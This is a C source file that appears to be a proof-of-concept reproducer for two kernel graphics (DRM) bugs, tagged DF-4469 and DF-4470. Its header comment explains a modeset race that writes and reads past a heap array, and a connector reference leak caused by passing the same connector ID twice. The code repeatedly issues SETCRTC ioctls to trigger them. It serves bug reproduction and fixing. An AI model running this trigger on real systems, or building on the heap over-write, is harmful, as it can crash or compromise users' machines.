/*
 * DF-4469 / DF-4470 - drm_crtc_helper_set_config race + duplicate-connector
 * refcount leak.  Self-contained (no DRM userland headers needed).
 *
 * DF-4469 (race, heap OOB write + OOB read): run with "race" while a partner
 * replugs a DP-MST hub.  MST topology work -> radeon_dp_add_mst_connector ->
 * drm_connector_init (radeon_dp_mst.c:286) -> list_add_tail + num_connector++
 * under ONLY connector_list_lock (drm_connector.c:256-260).  Our SETCRTC
 * thread holds mode_config.mutex, sized save_connector_encoders with the
 * stale num_connector (drm_crtc_helper.c:571-576), then walks the live list
 * (drm_crtc_helper.c:588-592): save_connector_encoders[count++] writes one
 * pointer past the kcalloc'd array.  On a fail path the same over-run READS
 * heap data into the new connector's ->encoder (drm_crtc_helper.c:766-770)
 * which later walks deref/write (drm_crtc_helper.c:663-664).
 *
 * DF-4470 (deterministic): pass the SAME connector ID twice in
 * set_connectors (drm_mode_setcrtc does not dedup, drm_crtc.c:721-741).
 * drm_crtc_helper_set_config takes one reference per array slot for unbound
 * connectors (drm_crtc_helper.c:626-630); the success path never drops the
 * surplus (put loop exists only under `fail:`) -> each successful full
 * modeset leaks (dups-1) connector references.
 *
 * Requires radeon/amdgpu (legacy set_config: amdgpu_display.c:280,
 * radeon_display.c:633) + DRM master.  Builds anywhere; needs /dev/dri.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>

/* ---- minimal DRM x86_64 ABI (matches sys/dev/drm/include/uapi) ---- */
#define DRM_IOC(dir, group, nr, size) \
	((dir) | ((size) << 16) | ((group) << 8) | (nr))
#define DRM_IO(nr)		DRM_IOC(1U<<30, 0x64, nr, 0)
#define DRM_IOWR(nr, type)	DRM_IOC(3U<<30, 0x64, nr, sizeof(type))

#define DRM_IOCTL_SET_MASTER		DRM_IO(0x1e)
#define DRM_IOCTL_MODE_GETRESOURCES	DRM_IOWR(0xa0, struct drm_mode_card_res)
#define DRM_IOCTL_MODE_GETCRTC		DRM_IOWR(0xc6, struct drm_mode_crtc)
#define DRM_IOCTL_MODE_GETCONNECTOR	DRM_IOWR(0xc7, struct drm_mode_get_connector)
#define DRM_IOCTL_MODE_SETCRTC		DRM_IOWR(0x82, struct drm_mode_crtc)
#define DRM_IOCTL_MODE_CREATE_DUMB	DRM_IOWR(0xb2, struct drm_mode_create_dumb)
#define DRM_IOCTL_MODE_ADDFB		DRM_IOWR(0xae, struct drm_mode_fb_cmd)

struct drm_mode_modeinfo {
	uint32_t clock;
	uint16_t hdisplay, hsync_start, hsync_end, htotal, hskew;
	uint16_t vdisplay, vsync_start, vsync_end, vtotal, vscan;
	uint32_t vrefresh;
	uint32_t flags;
	uint32_t type;
	char name[32];
};

struct drm_mode_card_res {
	uint64_t fb_id_ptr, crtc_id_ptr, connector_id_ptr, encoder_id_ptr;
	uint32_t count_fbs, count_crtcs, count_connectors, count_encoders;
	uint32_t min_width, min_height, max_width, max_height;
};

struct drm_mode_crtc {
	uint64_t set_connectors_ptr;
	uint32_t count_connectors;
	int32_t  crtc_id;
	uint32_t fb_id;
	uint32_t x, y;
	uint32_t gamma_size;
	int32_t  mode_valid;
	struct drm_mode_modeinfo mode;
};

struct drm_mode_get_connector {
	uint32_t encoders_ptr, count_encoders;
	uint32_t encoders_ptr_pad __attribute__((unused));
	uint32_t encoder_id, connector_id, connector_type;
	uint8_t  connected, mm_width, mm_height __attribute__((unused));
	uint8_t  subpixel;
	uint32_t modes_ptr, count_modes;
	uint32_t props_ptr, count_props;
	uint64_t prop_values_ptr;
	uint32_t pad __attribute__((unused));
};

struct drm_mode_create_dumb {
	uint32_t width, height, bpp, flags;
	uint32_t handle;
	uint32_t pitch;
	uint64_t size;
};

struct drm_mode_fb_cmd {
	uint32_t fb_id, width, height, pitch, bpp, depth, handle;
};

static int
find_crtc_and_connector(int fd, uint32_t *crtc_id, uint32_t *conn_id,
			struct drm_mode_modeinfo *mode)
{
	struct drm_mode_card_res res;
	uint32_t *crtcs = NULL, *conns = NULL;
	struct drm_mode_get_connector gc;
	struct drm_mode_modeinfo *modes = NULL;
	int i, ret = -1;

	memset(&res, 0, sizeof(res));
	if (ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res) < 0)
		return (-1);
	if (res.count_crtcs < 1 || res.count_connectors < 1)
		return (-1);
	crtcs = calloc(res.count_crtcs, sizeof(uint32_t));
	conns = calloc(res.count_connectors, sizeof(uint32_t));
	if (!crtcs || !conns)
		goto out;
	res.crtc_id_ptr = (uintptr_t)crtcs;
	res.connector_id_ptr = (uintptr_t)conns;
	if (ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res) < 0)
		goto out;

	for (i = 0; i < (int)res.count_connectors; i++) {
		memset(&gc, 0, sizeof(gc));
		gc.connector_id = conns[i];
		gc.modes_ptr = 0;
		gc.count_modes = 0;
		if (ioctl(fd, DRM_IOCTL_MODE_GETCONNECTOR, &gc) < 0)
			continue;
		if (gc.connected != 1 || gc.count_modes < 1)	/* not connected */
			continue;
		modes = calloc(gc.count_modes, sizeof(*modes));
		if (!modes)
			continue;
		gc.modes_ptr = (uintptr_t)modes;
		if (ioctl(fd, DRM_IOCTL_MODE_GETCONNECTOR, &gc) < 0) {
			free(modes); modes = NULL;
			continue;
		}
		/* prefer an UNBOUND connector: leak arithmetic applies */
		memcpy(mode, &modes[0], sizeof(*mode));
		free(modes); modes = NULL;
		*conn_id = conns[i];
		*crtc_id = crtcs[0];
		ret = 0;
		break;
	}
out:
	free(crtcs);
	free(conns);
	return (ret);
}

int
main(int argc, char **argv)
{
	const char *dev = (argc > 1) ? argv[1] : "/dev/dri/card0";
	int race = (argc > 2 && strcmp(argv[2], "race") == 0);
	int iter = (argc > 3) ? atoi(argv[3]) : 200;
	int fd, i, ok = 0, err = 0;
	uint32_t crtc_id, conn_id, handle = 0, fb_id = 0;
	struct drm_mode_modeinfo mode;
	struct drm_mode_crtc cu;
	struct drm_mode_create_dumb dumb;
	struct drm_mode_fb_cmd fb;
	uint32_t dup[2];

	fd = open(dev, O_RDWR);
	if (fd < 0) {
		printf("open(%s): %s -- no DRM device on this guest\n",
		    dev, strerror(errno));
		return (2);
	}
	if (ioctl(fd, DRM_IOCTL_SET_MASTER) < 0)
		perror("SET_MASTER (continuing)");

	if (find_crtc_and_connector(fd, &crtc_id, &conn_id, &mode) < 0) {
		printf("no connected connector with modes found\n");
		close(fd);
		return (3);
	}
	printf("crtc %u connector %u mode %ux%u\n", crtc_id, conn_id,
	    mode.hdisplay, mode.vdisplay);

	/* smallest dumb fb that still fits the mode */
	memset(&dumb, 0, sizeof(dumb));
	dumb.width = mode.hdisplay;
	dumb.height = mode.vdisplay;
	dumb.bpp = 32;
	if (ioctl(fd, DRM_IOCTL_MODE_CREATE_DUMB, &dumb) < 0) {
		perror("CREATE_DUMB");
		close(fd);
		return (4);
	}
	handle = dumb.handle;
	memset(&fb, 0, sizeof(fb));
	fb.width = dumb.width;
	fb.height = dumb.height;
	fb.pitch = dumb.pitch;
	fb.bpp = 32;
	fb.depth = 24;
	fb.handle = handle;
	if (ioctl(fd, DRM_IOCTL_MODE_ADDFB, &fb) < 0) {
		perror("ADDFB");
		close(fd);
		return (5);
	}
	fb_id = fb.fb_id;
	printf("fb %u (handle %u)\n", fb_id, handle);

	/* one-time full modeset to reach the get-loop with the connector
	 * bound state we want */
	dup[0] = conn_id;
	memset(&cu, 0, sizeof(cu));
	cu.set_connectors_ptr = (uintptr_t)dup;
	cu.count_connectors = 1;
	cu.crtc_id = crtc_id;
	cu.fb_id = fb_id;
	cu.x = 0;
	cu.y = 0;
	cu.mode_valid = 1;
	cu.mode = mode;
	if (ioctl(fd, DRM_IOCTL_MODE_SETCRTC, &cu) < 0)
		perror("initial SETCRTC");
	else
		printf("initial SETCRTC ok\n");

	/* now unbind (disable) so the connector is UNBOUND for the loops */
	memset(&cu, 0, sizeof(cu));
	cu.crtc_id = crtc_id;
	cu.fb_id = 0;
	cu.mode_valid = 0;
	(void)ioctl(fd, DRM_IOCTL_MODE_SETCRTC, &cu);

	for (i = 0; i < iter; i++) {
		dup[0] = conn_id;
		if (!race)
			dup[1] = conn_id;	/* DF-4470: duplicate slot */
		memset(&cu, 0, sizeof(cu));
		cu.set_connectors_ptr = (uintptr_t)dup;
		cu.count_connectors = race ? 1 : 2;
		cu.crtc_id = crtc_id;
		cu.fb_id = fb_id;
		cu.x = 0;
		cu.y = 0;
		cu.mode_valid = 1;
		cu.mode = mode;
		if (ioctl(fd, DRM_IOCTL_MODE_SETCRTC, &cu) < 0) {
			err++;
			if (err <= 3)
				perror("SETCRTC loop");
			/* re-disable so the connector is unbound again for
			 * the next attempt */
			memset(&cu, 0, sizeof(cu));
			cu.crtc_id = crtc_id;
			(void)ioctl(fd, DRM_IOCTL_MODE_SETCRTC, &cu);
		} else {
			ok++;
			/* disable again: next iteration re-runs the get-loop
			 * on an unbound connector (and each successful full
			 * set re-binds, leaking the dup surplus ref) */
			memset(&cu, 0, sizeof(cu));
			cu.crtc_id = crtc_id;
			(void)ioctl(fd, DRM_IOCTL_MODE_SETCRTC, &cu);
		}
	}
	printf("done: %d ok, %d err of %d iterations (%s mode)\n", ok, err,
	    iter, race ? "DF-4469 race" : "DF-4470 duplicate-connector");
	printf("DF-4470: on affected hw each 'ok' leaked 1 connector ref\n");
	close(fd);
	return (0);
}